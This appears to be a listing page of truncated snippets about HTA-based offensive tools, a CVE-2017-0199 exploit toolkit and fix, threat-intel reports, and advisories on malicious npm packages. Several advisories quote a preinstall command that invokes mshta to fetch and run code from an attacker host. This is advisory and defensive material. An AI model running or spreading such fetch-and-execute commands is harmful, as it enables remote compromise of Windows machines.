demiguise

Demiguise - HTA encryption tool Released as open source by NCC Group Plc - http://www.nccgroup.trust/ Developed by Richard Warren, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/demiguise Released under AGPL, see LICENSE for more information What does it do? The aim of th...

demiguise

Demiguise - HTA 암호화 도구 NCC Group Plc가 오픈 소스로 공개 - http://www.nccgroup.trust/ Richard Warren 개발, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/demiguise AGPL 라이선스로 배포, 자세한 내용은 LICENSE 참조 기능? 이 프로젝트의 목표는 암호화된 HTA 파일을 포함하는 .html 파일을 생성하는 것입니다. 아이디어는 대상자가 페이지를 방문하면 키를 가져와서...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- 説明: Microsoft Word CVE-2017-0199 は、HTA ハンドラーを介した RCE に対して脆弱です。 Microsoft Office および WordPad が特別に細工されたファイルを解析する方法には、リモートコード実行の脆弱性が存在します。 この脆弱性の悪用に成功した攻撃者は、影響を受けるシステムを制御できる可能性があります。 影響: 攻撃者はこの脆弱性を悪用して、アプリケーションのコンテキストで任意のコマンドを実行できる可能性があります。 悪用に失敗した場合は、...

morphHTA

면책 조항 평소와 같이, 이 코드와 도구는 악의적인 목적으로 사용되어서는 안 됩니다. MDSec Consulting의 ActiveBreach 팀의 Vincent Yiu가 작성했습니다. 저자에 대한 크레딧을 포함한 코드 수정이 허용됩니다. Explorer 및 SWBemLocator COM Moniker 연구는 @enigma0x3이 수행했습니다. morphHTA 사용법 : usage: morph-hta.py -h --in --out --maxstrlen --maxvarlen --maxnumsplit optional argument...

CVE-2017-0199-Fix

CVE-2017-0199 수정 .hta 파일의 기본 핸들러를 변경하여 CVE-2017-0199의 코드 실행 기능을 제거합니다. OLE2COM 개체를 통해 호출되는 파일의 기본 핸들러는 로컬 시스템의 기본 애플리케이션과 별도로 저장되며 레지스트리를 통해서만 변경할 수 있습니다. 기본 익스플로잇 논리 이는 이 익스플로잇의 한 가지 실제 예시이며, 제가 이해한 대로 설명합니다. 모든 사례가 이 패턴을 따르는 것은 아니며, 제 평가가 정확하지 않을 수 있습니다. 그러나 다음 섹션에서 제시하는 수정은 제가 테스트한 상황에서는 실제로...

OneLogicalMyth_Shell

OneLogicalMythShell このHTAシェルは、ブレイクアウトアセスメントを支援するために作成されました。1年以上前に最初に作成したもので、他の人にも役立つかもしれないと思い、公開することにしました。プルリクエストはいつでも歓迎します。 機能 ファイルエクスプローラー ドライブの一覧表示 - ホスト上のすべてのローカルドライブを一覧表示します。ドライブ文字をクリックすると、フォルダーやファイルのナビゲーションを開始できます。 フォルダーの一覧表示 - 上部の入力ボックスにフォルダーパスを入力し、このボタンをクリックすると、その場所からナビゲーションを開始します。...

OHTS

OHTS CVE-2017-8759 | .NET Framework リモートコード実行の脆弱性 1. はじめに Microsoft .NET Framework が信頼できない入力を処理するときに、リモートコード実行の脆弱性が存在します。.NET Framework...

CVE-2017-0199

CVE-2017-0199 Exploit 툴킷 CVE-2017-0199 - v2.0은 Microsoft RTF RCE를 빠르고 효과적으로 악용할 수 있는 편리한 파이썬 스크립트입니다. 복잡한 구성 없이 악성 RTF 파일을 생성하고 metasploit / meterpreter 페이로드를 피해자에게 전달할 수 있습니다. 릴리스 노트: 스크립트에 다음 기능이 추가되었습니다. 툴킷을 사용하여 악성 RTF 파일 생성 작은 HTA + 웹 서버 형태의 악용 모드로 툴킷 실행 버전: Python 버전 2.7.13 예시: 단계 1: 다음 명령을...

Malicious Package

Overview @gsutevil/hta-stage is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

MAL-2026-16419 Malicious code in @gsutevil/hta-stage (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 590b3432b8d849d5772e3be7a4fbc7daeca4aa927be2d411aaf3054d9a223dc9 The package ships a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL supplied at runtime via...

Malicious code in @gsutevil/hta-stage (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 590b3432b8d849d5772e3be7a4fbc7daeca4aa927be2d411aaf3054d9a223dc9 The package ships a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL supplied at runtime via...

Malicious Package

Overview @gsutevil/hta-stage is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

SideCopy Threat Intel: MSHTA-driven Execution and RAT Deployment

SideCopy Threat Intel: MSHTA-driven Execution and RAT Deployment By Boggavarapu R S S Srinivas Gupta and Ravishankar N C · September 17, 2026 Introduction The modern cyber warfare landscape has evolved significantly as threat actors pivot toward simple yet highly effective and evasive malware...

MAL-2026-15631 Malicious code in nextjsupdater (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b01b587101f97acb47185dc58bab28ebfdf18a7619af7a664c17629339e2ddca The package masquerades as a Next.js updater but its exported downloadAndRunUpdate function fetches updater.hta from an unrelated personal GitHub...

Malicious code in nextjsupdater (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b01b587101f97acb47185dc58bab28ebfdf18a7619af7a664c17629339e2ddca The package masquerades as a Next.js updater but its exported downloadAndRunUpdate function fetches updater.hta from an unrelated personal GitHub...

MAL-2026-10417 Malicious code in minigptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0 On npm install, the package's preinstall script preinstall.js invokes cmd /c mshta http://fixars.top/..., causing Windows mshta.exe to fetch and...

MAL-2026-10204 Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...

Gamaredon Expands Ukraine Attacks with New Malware and Cloud Service Abuse

A Russian advanced persistent threat APT group has continued to evolve and expand its malware arsenal as part of its ongoing cyber onslaught against Ukraine throughout 2025. Slovakian cybersecurity company ESET said it observed 35 distinct spear-phishing campaigns mounted by Gamaredon against new...

Malicious code in gptmini (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cb05abb3d36b111df4aa8fe044cbf05a431a0778e90d022e1621494c1506a171 On npm install, the package's preinstall lifecycle script preinstall.js, declared via scripts.preinstall "node preinstall.js" shells out with exec'cm...

MAL-2026-5927 Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...